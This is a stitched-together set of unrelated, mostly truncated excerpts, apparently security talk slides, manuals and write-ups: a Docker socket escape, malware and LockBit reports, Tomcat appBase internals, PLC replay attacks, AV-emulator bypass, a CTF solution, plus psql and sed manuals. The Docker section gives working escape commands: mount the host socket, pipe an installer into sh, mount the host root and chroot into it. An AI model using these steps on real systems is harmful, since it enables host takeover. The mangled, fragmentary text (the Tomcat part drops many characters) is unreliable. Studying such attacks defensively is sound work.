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--- title: 挂载 Docker Socket 逃逸 --- <center><h1>挂载 Docker Socket 逃逸</h1></center> --- Docker Socket 用来与守护进程通信即查询信息或者下发命令 ## 搭建 创建一个容器并挂载 /var/run/docker/sock 文件 ```plain docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu ``` 在容器内安装 Docker 命令行客户端 ```plain docker exec -it with_docker_sock /bin/bash apt-get update apt-get install curl curl -fsSL https://get.docker.com/ | sh ``` ## 检测 ```plain ls -lah /var/run/docker.sock ``` 如果存在这个文件说明漏洞可能存在 ## 复现 在容器内部创建一个新的容器并将宿主机目录挂载到新的容器内部 ```plain docker run -it -v /:/host ubuntu /bin/bash ``` <img width="1200" src="/img/1650014060.png"> 在新的容器内执行 chroot将根目录切换到挂载到宿主机的根目录其实不挂载也行 ```plain chroot /host ``` <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年4月15日" } } </script>


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营销活动和反作弊 01 业务概述  业务形式 裂变/签到/抽奖/走路等  风险类型 黑产/自然人/众包等 三方博弈 业务概述 反作弊和业务  营销反作弊是信任品  业务需求第一事前明确边界  我的地盘我做主重视规则设计  知己知彼不过度承诺 业务概述  黑产很精明 收益率高钞票多多  黑产很聪明 对抗是什么本质是反馈系统 如何干扰攻击者的反馈系统 查杀分离 延迟/混淆处置 攻击者如何干扰我们的反馈系统 模拟行为以假乱真 降低攻击量浑水摸鱼积小成多 反馈系统 黑产分工 反作弊和黑产 业务概述 营销反作弊框架 裂变反作弊实战 02 裂变反作弊 作弊模式演变(黄色为spammer) 风险评估与方案设计 快手极速版裂变拉新 裂变反作弊 木桶原理 常用方法 如何感知 裂变反作弊 行为模型 优化 独立异常检测 如何感知 裂变反作弊 威胁情报 效果反馈 如何验证 大型活动实战经验 03 大型活动 对接流程 质效建设举 例 经验总结 提问环节 提问环节


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Analysis Report Sample 172AED81C4FDE1CF23F1615ACEDFAD65 Author Marion Marschalek [marion-m@live.at] Date 24/03/2013 Abstract The analyzed sample, detected as Backdoor.Win32.Banito, is multi-threaded malware that infects files on the disk, communicates to a remote server under the domain ns.dns3-domain.com and provides extended spying and system control functionalities. Its code is obfuscated and it implements a row of anti- analysis measures. It was in-the-wild around late 2010 / early 2011 and its origins are believed to be Chinese. 1 | P a g e Summary The analyzed sample is a tricky piece of malware that replicates itself and communicates to a remote Command & Control server (C&C). It is a non-polymorphic file infector, replacing executable images in the file system with a copy of itself, but still hiding and starting the original applications when needed. It implements various anti-analysis measures, as for example invoking intentional exceptions or checking for the dwFlags value of the GetStartupInfo() API call. It implements a huge amount of junk code and is highly obfuscated. It is implemented in object oriented C++ and makes heavy usage of virtual function calls that make analysis significantly harder than usual. Besides the sample constructs an API offset jump table on startup, which is used throughout execution for resolution of system calls. The malware is designed as multi-threaded application that divides process control, file infection and sending and receiving messages to and from the C&C server in different threads to share execution load. The communication to the remote server is handled via one single domain which is hard coded in the sample. The domain is ns.dns3-domain.com, the according network address is 125.34.39.47. The server is believed to be out of operation, as it does not answer to any message of the analyzed sample. The malwares capabilities are extensive, it is able to spy on the system as well as control system operation. It can produc


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1 Tomcat中的appBase 第次看有关tomcat appBase是在漏洞百出-个Jolokia RCE的新利式中 该后续就展示出了可以直接在新建的vhost中访问/etc/paasswd等件资源已经跳出 TOCMAT/webapps的限制并且在其他漏洞中也到了对appBase这属性的利当时中就有 些疑问为什么appBase这属性就可以控制TOMCAT相关资源位置是什么机制让其实时效 现在就在此中尝试从代码的度简单描述原理过程 tomcat分析版本10.0.18 先寻找appBase从何来 简单看到field的描述如下 简单排查appBase的引最重要的地在org.apache.catalina.core.StandardHost#getAppBaseFile appBase 因此利jolokia调可以直接创建个vhost指定/为appBase StandardHost 2 逻辑如上图较简单如果appBase不是绝对路径就进路径拼接算在TOMCAT根录下并将结 果赋值给appBaseFile最后返回 其实org.apache.catalina.core.StandardHost#getAppBaseFile的引很多但是致是两个向 1. context初始化对应ContextConfig 2. host初始化热部署对应HostConfig 这就暂且只看热部署相关 跟到org.apache.catalina.startup.HostConfig#deployApps() HostConfig 3 从上图的注释就能看出该函数于部署在application根录下的任何录或war件appBase所指 向的录就被视作application root并由此遍历appBase下的所有件将其路径存 filteredAppPaths中在此跟进deployDirectories如下 4 逻辑常简单只要是appBase录下名字不为WEB-INFMETA-INF的录就会经过 DeployDirectory的处理 注意这为了避免浪费资源已经处理过的录将会存cache只会处理不在cache中的新录 继续跟进org.apache.catalina.startup.HostConfig.DeployDirectory#run发现只是调了 org.apache.catalina.startup.HostConfig#deployDirectory该函数代码过就不截图了逻辑很简 单直接根据指定录新建了个StandardContext并将其加当前StandardHost之中此后就能够在 该StandardHost访问到对应的StandardContext了StandardContext直接对应appBase下的某个 录 5 简单来讲TOMCAT appBase初始指向的是 TOMCAT/webapps 然后将会部署webapps录下的所 有war件或者录并将其每个录作为StandardContext挂在当前StandardHost下最后客户端可 以通过 http://host:port/context_path 访问到已经部署的录 现在回到HostConfig#deployApps查找下引如下 可最终都是被HostConfig.lifecycleEvent其中start函数主要是在初始化Host的时候执的这 我们跟进check函数如下 如上图只要当前Host的autoDeploy属性为true时版本tomcat该属性默认为true最终都会调 deployApps函数此处就是热部署的具体实现了 继续查看HostConfig.lifecycleEvent如下 lifecycleEvent & backgroundProcess 6 如上图调check函数是需要接收到 Lifecycle.PERIODIC_EVENT 事件才会触发那么现在来全 局搜索下什么地才会发送这个事件 从命名来看从ContainerBase发出的事件不像是初始化时才会发的跟进去后发现是在 org.apache.catalina.core.ContainerBase#backgroundProcess函数中条件发送 Lifecycle.PERI ODIC_EVENT 事件其函数注释如下 7 显易这是个后台线程调的函数 初始化Host时定会触发部署为这时就会直接将appBase所指向录的录全部作为Context 加载到新Host中 tomcat运中并且版本默认autoDeploy为true时将会实时扫描appBase所指向的application root录然后为其新的录创建新的Context并加载到当前Host中这样就解释了某些利法直 接修改当前Host appBase后将可以跳出webapp


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Youre Just Complaining Because Youre Guilty: A DEF CON Guide to Adversarial Testing of Software Used in the Criminal Justice System August 11, 2018 - DEF CON 26 Jeanna Matthews, PhD - Clarkson University/Data and Society Nathan Adams - Forensic Bioinformatic Services Jerome D. Greco, Esq. - Legal Aid Society of NYC Motivation/overview of the problem Black box decision making  Software is increasingly used to make important decisions about peoples lives  Hiring, housing, how we make friends, find partners, navigate city streets, get our news,   The weightier the decision the more crucial it is that we understand and can question it  What input is used to make the decision? Is it correct? Do we have other information that should be considered?  Are protected attributes like race and gender used? What about proxies for those characteristics?  Criminal justice system  Software/algorithmic decision making used increasingly throughout the criminal justice system  Often black boxes for which trade secret protection is claimed to be more important than rights of individual defendants or citizens to understand the decisions  Evidence of problems  How can we find bugs and fix problems if the answer is always you cant question and you are just complaining because you are guilty? Can you imagine...  Being sent to prison rather than given probation because proprietary software says you are likely to commit another crime?  But you cant ask how the software makes its decisions. (Eric Loomis)  Having the primary evidence against you being the results of DNA software?  But one program says you did it and another says you didnt. (Nick Hillary)  Being accused of murder solely because of DNA transferred by paramedics?  But they dont figure that out for months. (Lukis Anderson)  Software and complex systems need an iterative process of debugging and improvement!  Anyone who has used technology knows that there are glitches and bugs and unintended consequences!  Anyone who builds technol


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www.LIFARS.com info@lifars.com 2022 SecurityScorecard Inc. 244 Fifth Avenue, Suite 2035, New York, NY 10001 1.212.222.7061 Prepared by: Vlad Pasca, LIFARS, LLC Date: 02/14/2022 A Detailed Analysis of The LockBit Ransomware www.LIFARS.com | 1 Table of Contents Executive Summary .............................................................................................................. 2 Analysis and Findings .......................................................................................................... 2 Thread activity  sub_4DF310 function ........................................................................ 10 Thread activity  sub_4C3430 function ....................................................................... 14 Thread activity  sub_4A2EC0 function ....................................................................... 19 Thread activity  sub_45C960 function....................................................................... 28 Thread activity  sub_497060 function ....................................................................... 34 Thread activity  sub_49E730 function ....................................................................... 39 Printing ransom notes ...................................................................................................... 44 LockBit Wallpaper Setup ................................................................................................. 46 Extract and save the HTA ransom note to Desktop .............................................. 52 Indicators of Compromise ............................................................................................... 59 Registry Keys ................................................................................................................................................................................... 59 Files Created ........................................................................................................................


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SHODAN for Penetration Testers Michael theprez98 Schearer SHODAN for Penetration Testers  What is SHODAN?  Basic Operations  Penetration Testing  Case Study 1: Cisco Devices  Case Study 2: Default Passwords  Case Study 3: Infrastructure Exploitation  Other Examples  The Future  Conclusions By pen testing, I mean  Black/gray/white box testing  Ethical hacking  Security auditing  Vulnerability assessment  Standards compliance  Training  All of the above WHAT IS SHODAN? SHODAN for Penetration Testers What is SHODAN? (1)  SHODAN (http://www.shodanhq.com/) is a computer search engine designed by web developer John Matherly (http://twitter.com/achillean)  While SHODAN is a search engine, it is much different than content search engines like Google, Yahoo or Bing What is SHODAN? (2)  Typical search engines crawl for data on web pages and then index it for searching  SHODAN interrogates ports and grabs the resulting banners, then indexes the banners (rather than the web content) for searching What is SHODAN? (3)  Rather than to locate specific content on a particular search term, SHODAN is designed to help the user find specific nodes (desktops, servers, routers, switches, etc.) with specific content in their banners  Optimizing search results requires some basic knowledge of banners BASIC OPERATIONS SHODAN for Penetration Testers SHODAN Helper Firefox Add- on SHODAN Search Provider Firefox Add-on Basic Operations: Search  Search terms are entered into a text box (seen below)  Quotation marks can narrow a search  Boolean operators + and  can be used to include and exclude query terms (+ is implicit default) Basic Operations: Login  Create and login using a SHODAN account; or  Login using one of several other options (Google, Twitter, Yahoo, AOL, Facebook, OpenID  Login is not required, but country and net filters are not available unless you login  Export requires you to be logged in Basic Operations: Filters  country: filters results by two letter country code  hostname: f


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Dirty Little Secrets of Information Security Why we might not be doing as well as you would hope. Bruce Potter (gdead@shmoo.com) 1 Dont Believe Anything I Say  Every person who has mastered a profession is a skeptic concerning it. - George Bernard Shaw  Authority has every reason to fear the skeptic, for authority can rarely survive in the face of doubt - Robert Lindner  Security is all about not trusting what you are hearing, seeing, or being sent to you  As true in meatspace as in teh tubes  By Day, Senior Associate for Booz Allen Hamilton  Wireless Security, application assurance, information security strategy  By Night, Founder of The Shmoo Group 2 Whats happening here?  The goal of this talk is to call out some of the 800lbs gorillas in the room  The security industry is riddled with them, and sometimes theyre called out in non-productive ways  Id like to address them head on... and actually do something useful with our jobs  NOTE: Much of what is in this presentation you will probably disagree with. Also, much of what is in this presentation is my opinion and analysis based on what can loosely be called research. Feel free to throw stones. 3 Lets have some structure to our discussion IDS Patch Mgt Policies & Procedures Firewalls AAA Services Software ACLs Software Sec Honey pots Sophistication and Operational Cost Operations (IT) Network Software Operations (Security) Academic / Emerging 4 What gave birth to the 800lbz Gorillaz?  The security community as evolved dramatically over the last several decades  Initially a small group of computer scientists in the 60s ran a small, academic group of computers 1960 1970 1980 1990 2000 Unix Developed Tubes! Computers with Tubes! ARPANet starts 5 What gave birth to the 800lbz Gorillaz?  Things got serious in the 70s  Telnet was introduced  A great deal of research on trusted systems was performed  Blueboxing was born 1960 1970 1980 1990 2000 Unix Developed Tubes! Computers with Tubes! ARPANet starts Captn Crunch Whistl


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The spear to break the security wall of S7CommPlus CHENG LEI , NSFOCUS Related Work  Dillon Beresford. Exploiting Siemens Simatic S7 PLCs. Black Hat 2011 USA. S7Comm protocol  Ralf Spenneberg et. al. PLC-Blaster: A Worm Living Solely in the PLC. Black Hat 2016 USA Early S7CommPlus protocol  This talk mainly focus on the current encrypted S7CommPlus protocol Programmable Logic Controllers (PLC) is responsible for process control in industrial control system. A PLC contains a Central Processing Unit (CPU), some digital/analog inputs and outputs modules, communication module and some process modules like PID. What is PLC S7-300  S7-200,S7-300,S7-400 using the S7Comm protocol S7-1500 S7-1200  S7-1200v3.0 using the early S7CommPlus protocol  S7-1200v4.0, S7-1500 using the current encrypted S7CommPlus protocol Siemens PLCs TIA Portal is the configuration and programming software for Siemens PLCs. TIA Portal Replay Attack  Replay attacks have been widely used in PLC attacks.  Get the communication sequence packets with the help of Wireshark S7CommPlus Protocol  The current S7CommPlus protocol including the S7CommPlus Connection packets and S7CommPlus Function packets has a similar structure.  1. First Connection Setup Request  2. Frist Connection Setup Response  3.Second Connection Setup Request  4.Function PacketStop PLC S7CommPlus Protocol  Session ID Session ID = Object ID+0x80 S7CommPlus Protocol  Encryption Part 1. The second connection packet has two encryptions 2. The function packet has one encryptionIntegrity Part Fun with the Encryption  Using reverse debugging techniques, we found these encryption is calculated by TIA Portal through a file named OMSp_core_managed.dll 1. Connection packet encryption Input parameter for this encryption is a random value array generated by the PLC in the first connection response packet. Fun with the Encryption 1 First encryption in the connection packet Using XOR (we call this Encryption1), the first encryption can be calculated w


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.\" auto-generated by docbook2man-spec $Revision: 1.2 $ .TH "PSQL" "1" "2003-11-02" "Application" "PostgreSQL Client Applications" .SH NAME psql \- PostgreSQL 交互终端 .SH SYNOPSIS .sp \fBpsql\fR\fR [\fR\fB\fIoption\fB\fR...\fB\fR\fR]\fR\fR [\fR\fB\fIdbname\fB\fR [\fB\fIusername\fB\fR]\fB\fR\fR]\fR .SH "DESCRIPTION 描述" .PP \fBpsql\fR 是一个以终端为基础的 PostgreSQL 前端它允许你交互地键入查询把它们发出给 PostgreSQL 然后看看查询的结果另外输入可以来自一个文件还有 它提供了一些元命令和多种类 shell 地特性来实现书写脚本以及对大量任务的自动化 .SH "OPTIONS 选项" .TP \fB-a\fR .TP \fB--echo-all\fR 在读取行时向屏幕打印所有内容 这个选项在脚本处理时比交互模式时更有用这个选项等效于设置变量 ECHO 为 all .TP \fB-A\fR .TP \fB--no-align\fR 切换为非对齐输出模式缺省输出模式是对齐的 .TP \fB-c\fIcommand\fB\fR .TP \fB--command\fIcommand\fB\fR 声明 psql 将执行一条查询字串 command然后退出这一点在 shell 脚本里很有用 \fIcommand\fR 必须是一条完全可以被服务器分析的查询字串也就是说它不包含 psql特有的特性 或者是一个反斜杠命令这样你就不会混合 SQL 和 psql 元命令要想混合使用你可以把字串定向到\fBpsql\fR 里象这样 echo "\\x\\ select * from foo;" | psql 如果命令字串包含多个 SQL 命令那么他们在一个事务里处理 除非在字串里包含了明确的 BEGIN/COMMIT 命令把他们分成多个事务 这个和从 psql 的标准输入里给它填充相同字串不同 .TP \fB-d\fIdbname\fB\fR .TP \fB--dbname\fIdbname\fB\fR 声明想要联接的数据库名称等效于在命令行行上把 dbname 声明为第一个非选项参数 .TP \fB-e\fR .TP \fB--echo-queries\fR 显示所由发送给服务器的查询 等效于把变量 ECHO 设置为 queries .TP \fB-E\fR .TP \fB--echo-hidden\fR 回显由\fB\\d\fR 和其他反斜杠命令生成的实际查询 如果你希望在你自己的程序里包含类似的功能 你就可以使用这个选项这等效于在psql里设置变量ECHO_HIDDEN .TP \fB-f\fIfilename\fB\fR .TP \fB--file\fIfilename\fB\fR 使用 filename作为命令的语句源而不是交互式读入查询 在处理完文件后psql 结束这个选项在很多方面等效于内部命令\fB\\i\fR 如果\fIfilename\fR 是\- 连字符则从标准输入读取 使用这个选项与用 psql < filename 有微小的区别通常两者都回按照你预期那样运行但是使用 -f打开了一些很好的特性 比如带行号的错误信息而且使用这个选项还有可能有减小启动负荷的机会 另一方面如果你把所有内容手工输入 使用 shell 输入定向的方式理论上能保证生成和你已经得到的完全一样的输出译注重复运行命令 .TP \fB-F\fIseparator\fB\fR .TP \fB--field-separator\fIseparator\fB\fR 使用 separator 作为域分隔符等效于 \fB\\pset fieldsep\fR 或\fB\\f\fR .TP \fB-h\fIhostname\fB\fR .TP \fB--host\fIhostname\fB\fR 声明正在运行服务器的主机名 如果主机名以斜扛开头则它被用做到 Unix 域套接字的路径 .TP \fB-H\fR .TP \fB--html\fR 打开HTML格式输出等效于\\pset format html 或\fB\\H\fR 命令 .TP \fB-l\fR .TP \fB--list\fR 列出所有可用的数据库然后退出其他非联接选项将被忽略类似于内部命令 \fB\\list\fR .TP \fB-o\fIfilename\fB\fR .T


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DEFCON CHINA 1.0 BADGE hacking workshop joe Grand aka kingpin informal environment a deeper look into the badge setup development environment modify/recompile CODE open lab workshop goals complete tasks, get rewarded 4 roots and 4 branches, each with 4 leds when task is complete, badge inserted into programmer to unlock LED when each root is complete, magic happens when all roots are complete, even magic happens gameplay Hardware USB POWER LED control ACCELEROMETER mcu FPC block diagram test test test Schematic USB INTERFACE allows for arduino programming and interactive mode FT231X USB-to-Serial UART entire usb protocol handled on-chip host will recognize as virtual serial device/com port mosfets for soft-start and power switchover led matrix multiplexing via led matrix library row controlled by discrete i/O column controlled through 74hc595 shift register refresh @ 175hz to reduce flicker each led individually addressable, dimmable (16 levels) accelerometer ST microelectronics LIS3DH 3-axis digital output (i2c/SPI) +/- 2, 4, 8, 16g range interrupt on motion or free fall used to preserve battery life sleep mode @ 10 seconds of inactivity Raw values available through interactive mode edge connector as interface to the outside world UART, I2C, AVR ICSP used with programming shield to set/read state of badge leds FLEXIBLE PRINTED CIRCUIT (FPC) pin 1 pin 12 1.GND 2.SCK 3.MISO 4.MOSI 5./RST 6.SDA 7.SCL 8.SIN 9.SOUT 10./SEN SE 11.GPIO 12.VCC bill-of-materials ARDUINO open source platform based on easy-to-use hw/sw/FW worldwide community of users/contributors 90% of FLash (27.6kB), 43% of RAM (887 bytes) loop set power state (battery, usb, usb charger) check for/process interactive mode check for/process fpc communication update leds sleep until accelerometer interrupt Firmware led matrix Add #define swap() to .cpp to prevent compiling error Remove #defines for DIO2 pinMode and digitalWrite conflicted with my core code arduino cheat sheet arduino ide cross platform (windo


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Blinkie Lights! Network Monitoring with Arduino Steve Ocepek Copyright Trustwave 2010 Confidential Disclaimer Due to legal concerns, slides containing one or more of the following have been removed:  Depictions of violence  Dancing animals  Transvestites  Questionable remains of biological origin  Drunk people  Copyrighted images LEGAL APPROVED* * subject to terms and conditions Copyright Trustwave 2010 Confidential Early Market Trends * not affiliated with Diamond Multimedia or its subsidiaries Copyright Trustwave 2010 Confidential Industry Progression * smoking Cloud may be hazardous to your health. Copyright Trustwave 2010 Confidential Realization  I dont know what the hell my box is doing anymore  I dont know what normal looks like  2 minute pcap file > 2 minute MP3  My netstat hurts Copyright Trustwave 2010 Confidential The Activity Light is Solid Copyright Trustwave 2010 Confidential Third Party Analysis * any resemblance to real persons, living or dead is purely coincidental. Copyright Trustwave 2010 Confidential Wait, monitoring? #1: You mean like IDS, IPS, NAC, sniffers, scrapers, log monitors, and the theory of Atlantis? #2: No, I mean like wtf is my box doing? #1: Yeah try wireshark noob #2: Just because I am a genetically enhanced 3-month-old is no reason to make this personal. Besides wireshark is for analysis, not monitoring. #3: Can you guys keep it down? This 2-person escape pod is bad enough without your 21st century era IT debate reenactments. Copyright Trustwave 2010 Confidential Something else  Like the old days, the activity lights on modems and stuff  Something that makes a good excuse for Arduino and sounds good on a Defcon schedule  And has freaking blinkie lights  Something that provides visibility Copyright Trustwave 2010 Confidential Visibility vs. Visualization  Going for something thats more peripheral, tap into human cognition  Making up my own distinctions here  Visualization  Tends to be complex, static image that we stare at  Visibil


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# LoadSomeBits Forensics, 500 points ## Description: > Can you find the flag encoded inside this image? ![logo](images/pico2018-special-logo.bmp) ## Solution: Couldn't find the flag by using any existing Steganography tool (e.g. zsteg, StegSolve). I ended up writing this script which skips the BMP header and then creates a payload byte from the LSB of each 8 consecutive image bytes: ```python import os import mmap BMP_HEADER_SIZE = 54 BITS_PER_BYTE = 8 def memory_map(filename, access=mmap.ACCESS_READ): size = os.path.getsize(filename) fd = os.open(filename, os.O_RDWR) return mmap.mmap(fd, size, access=access) with memory_map("pico2018-special-logo.bmp") as b: for i in range(BMP_HEADER_SIZE, len(b) - BMP_HEADER_SIZE - BITS_PER_BYTE, BITS_PER_BYTE): chunk = b[i:i+BITS_PER_BYTE] new_byte = 0 for x, byte in enumerate(chunk): new_byte |= (byte & 0x01) << (BITS_PER_BYTE - x - 1) c = chr(new_byte) if new_byte == 0: break print (c, end='') ``` The output: ``` $ python3 solve.py picoCTF{st0r3d_iN_tH3_l345t_s1gn1f1c4nT_b1t5_882756901} ``` The flag: picoCTF{st0r3d_iN_tH3_l345t_s1gn1f1c4nT_b1t5_882756901}


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Hadoop: Apaches Open Source Implementation of Googles MapReduce Framework Hacked Existence Team Joey Calca & Ryan Anguiano http://hackedexistence.com Cloud Computing  Clouds are big piles of other peoples machines, plus virtualization  Remote  Scalable  Virtual  High Level API  Course Grain data processed in parallel Courtesy Stanzione, Sannier, and Santanam, Arizona State University How much data?  Wayback Machine has 2 PB + 20 TB/month (2006)  Google processes 20 PB a day (2008)  all words ever spoken by human being ~ 5 EB  NOAA has ~ 1PB climate data (2007)  CERNs :HC will generate 15 PB a year (2008) Stats from The iSchool University of Maryland Saguaro Cluster Research Group High Performance Computing Initiative Department Fulton School Primary Application Various # of Processor Cores 4560 Processor Architechture Intel Xeon Interconnect InﬁniBand Memory 10240 GB (Total) Storage 215 TB OS CentOS 5.3 Sys Admin Contact Douglas Fuller Googles Map/Reduce Google 2004 at The Sixth Symposium on Operating System Design and Implementation Processing and Generating large data sets Many real world tasks are expressible in this model Automatically parallelized for a large cluster of commodity machines Googles Map/Reduce Input -> Mapper -> Intermediate <key/value> Pairs -> Reducer -> Output Easy to utilize resources of large distributed system without any experience Highly scalable: typically processes many terabytes of data in parallel Upwards of 1,000 MapReduce jobs are executed on Googles clusters daily  Apache Projects Open Source Implementation of MapReduce  JAVA Based  Hadoop has been demonstrated on clusters with 2000 nodes. The current design target is 10,000 node clusters.  http://hadoop.apache.org Mapper  Map is a special function that applies the function f to each element in the list  Map[f,(1,2,3,4,5)] -> {f[1],f[2],f[3],f[4],f[5]} 1 2 3 4 5 sq 1 2 3 4 5 sq sq sq sq 1 sq 4 9 16 25 sq sq sq sq Mapper  Input:  The Entire Data Set  Maps all the input values to a ke


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sed === 功能强大的流式文本编辑器 ## 补充说明 **sed** 是一种流编辑器它是文本处理中非常重要的工具能够完美的配合正则表达式使用功能不同凡响处理时把当前处理的行存储在临时缓冲区中称为模式空间pattern space接着用sed命令处理缓冲区中的内容处理完成后把缓冲区的内容送往屏幕接着处理下一行这样不断重复直到文件末尾文件内容并没有 改变除非你使用重定向存储输出Sed主要用来自动编辑一个或多个文件简化对文件的反复操作编写转换程序等 ## sed的选项命令替换标记 **命令格式** ```shell sed [options] 'command' file(s) sed [options] -f scriptfile file(s) ``` ### 选项 ```shell -e<script>或--expression=<script>以选项中的指定的script来处理输入的文本文件 -f<script文件>或--file=<script文件>以选项中指定的script文件来处理输入的文本文件 -h或--help显示帮助 -n或--quiet或silent仅显示script处理后的结果 -V或--version显示版本信息 ``` ### 参数 文件指定待处理的文本文件列表 ### sed命令 ```shell a\ # 在当前行下面插入文本 i\ # 在当前行上面插入文本 c\ # 把选定的行改为新的文本 d # 删除删除选择的行 D # 删除模板块的第一行 s # 替换指定字符 h # 拷贝模板块的内容到内存中的缓冲区 H # 追加模板块的内容到内存中的缓冲区 g # 获得内存缓冲区的内容并替代当前模板块中的文本 G # 获得内存缓冲区的内容并追加到当前模板块文本的后面 l # 列表不能打印字符的清单 n # 读取下一个输入行用下一个命令处理新的行而不是用第一个命令 N # 追加下一个输入行到模板块后面并在二者间嵌入一个新行改变当前行号码 p # 打印模板块的行 P # (大写) 打印模板块的第一行 q # 退出Sed b lable # 分支到脚本中带有标记的地方如果分支不存在则分支到脚本的末尾 r file # 从file中读行 t label # if分支从最后一行开始条件一旦满足或者Tt命令将导致分支到带有标号的命令处或者到脚本的末尾 T label # 错误分支从最后一行开始一旦发生错误或者Tt命令将导致分支到带有标号的命令处或者到脚本的末尾 w file # 写并追加模板块到file末尾 W file # 写并追加模板块的第一行到file末尾 ! # 表示后面的命令对所有没有被选定的行发生作用 = # 打印当前行号码 # # 把注释扩展到下一个换行符以前 ``` ### sed替换标记 ```shell g # 表示行内全面替换 p # 表示打印行 w # 表示把行写入一个文件 x # 表示互换模板块中的文本和缓冲区中的文本 y # 表示把一个字符翻译为另外的字符但是不用于正则表达式 \1 # 子串匹配标记 & # 已匹配字符串标记 ``` ### sed元字符集 ```shell  # 匹配行开始如/sed/匹配所有以sed开头的行 $ # 匹配行结束如/sed$/匹配所有以sed结尾的行 . # 匹配一个非换行符的任意字符如/s.d/匹配s后接一个任意字符最后是d * # 匹配0个或多个字符如/*sed/匹配所有模板是一个或多个空格后紧跟sed的行 [] # 匹配一个指定范围内的字符如/[sS]ed/匹配sed和Sed [] # 匹配一个不在指定范围内的字符如/[A-RT-Z]ed/匹配不包含A-R和T-Z的一个字母开头紧跟ed的行 \(..\) # 匹配子串保存匹配的字符如s/\(love\)able/\1rsloveable被替换成lovers & # 保存搜索字符用来替换其他字符如s/love/ **&** /love这成 **love**  \< # 匹配单词的开始如:/\<love/匹配包含以love开头的单词的行 \> # 匹配单词的结束如/love\>/匹配包含以love结尾的单词的行 x\{m\} # 重复字符xm次如/0\{5\}/匹配包含5个0的行 x\{m,\} # 重复字符x至少m次如/0\{5,\}/匹配至少有5个0的行 x\{m,n\} # 重复字符x至少m次不多于n次如/0\{5,10\}/匹配5~10个0的行 ``` ## sed用法实例 ### 替换操作s命令 替换文本中的字符串 ```shell sed 's/book/books/' file ``` **-n选项** 和 **p命令** 一起使用表示只打印那些发生替换的行 sed -n 's/test/T


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Advanced Exploitation Techniques: Breaking AV-Emulator XCon2016/by nEINEI Who is @nEINEI  nEINEI - neineit@gmail.com  Security researcher / software developer /reverse engineer  http://www.vxjump.net  Research interests  Vulnerability, Advanced Exploitation Techniques ,NIPS/HIPS  Complexity Virus/Reverse engineering/Advanced Threat   Agenda  AV-Emulator Architecture and Implementation  Background  AV-Emulator detection techniques  Advanced Techniques On AV-Emulator Bypass  Process stack information inspection  C++ advanced syntactic features  Randomized conditional branch generation  ROP simulation  DLL forwarding  Exploiting Windows memory heap management  AV-Emulator Bypass Mitigation AV-Emulator Architecture and Implementation  AV-Emulator Background  Evolved virus polymorphism & metamorphism  Complex PE packers  malicious code behavior analysis Host Decryption Poly Engine Virus RAM Decryption Poly Engine Virus AV-Emulator Architecture and Implementation  If it is an PE unpacker?  AV-Emulator is far beyond a simple instruction simulator, it is currently implemented as a whole package(OS simulation, hardware simulation, etc). AV-Emulator Architecture and Implementation  If it is an PE packer? NO  Intel CPU simulation  Opcode identification  Addressing mode  Instruction analysis system  Hardware simulationHDD ,memoryNIC  Windows OS Simulation  PE loader  Memory management  Task scheduler  API simulating  File system  Registry system  Exception handlers  Thread , process  Debugging system  GUI system   AV-Emulator Architecture and Implementation  CPU simulation methods  Instruction simulationused in most AV-emulators)  Instruction translation based on opcode, line-by-line parsing  Inefficiency, monitor each instruction    Dynamic translationQEMU  Translate the opcode into intermediate code and interpretive execution  Fastbut the encryption and self-modification of malicious code results in multiple translations    Real Environment  Isolated spacemalicious code execu


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David Rook The Security Risks of Web 2.0 DefCon 17, Las Vegas Agenda  A quick Web 2.0 definition  The differences between Web 1.0 and Web 2.0  Common Web 2.0 security vulnerabilities  The differences between Web 1.0 and Web 2.0 vulnerabilities  Security analysis difficulties with Web 2.0  How to prevent these vulnerabilities if (slide == introduction) System.out.println(Im David Rook);  Security Analyst, Realex Payments, Ireland CISSP, CISA, GCIH and many other acronyms  Security Ninja (www.securityninja.co.uk)  Secure Development (www.securedevelopment.co.uk)  OWASP contributor and presenter  IIA Web Development Working Group  Facebook hacker and published security author (insecure magazine, bloginfosec etc) About this Presentation  What this presentation isnt  A technical discussion about Web 2.0 technologies/architectures  No 0 days, new attacks or new vulnerabilities  Just a discussion about XSS and SQL Injection  What this presentation is:  A look at Web 2.0 app vulnerabilities  How they differ (or not) from Web 1.0  How to prevent them A quick Web 2.0 definition  Web 2.0 is the business revolution in the computer industry caused by the move to the internet as a platform, and an attempt to understand the rules for success on that new platform. Chief among those rules is this: Build applications that harness network effects to get better the more people use them Tim OReilly - 2006 Rapid proliferation of content RSS Atom Everything can go online now Google Docs eyeOS Architecture of participation Soc Nets Youtube Writes data to local databases Gears HTML 5 User generated content Offline storage of data and state Desktop look and feel Syndication of content Key points about Web 2.0 Differences between Web 1.0 and 2.0 Category Web 1.0 Web 2.0 Functionality/Content Reading Content Creating Content Personal Websites Blogs and profiles Under Construction Sign BETA Technologies HTML, HTTP, HTTPS AJAX, JSON, SOAP, REST, XML, HTTP, HTTPS Synchronous Asynchronous Client-S


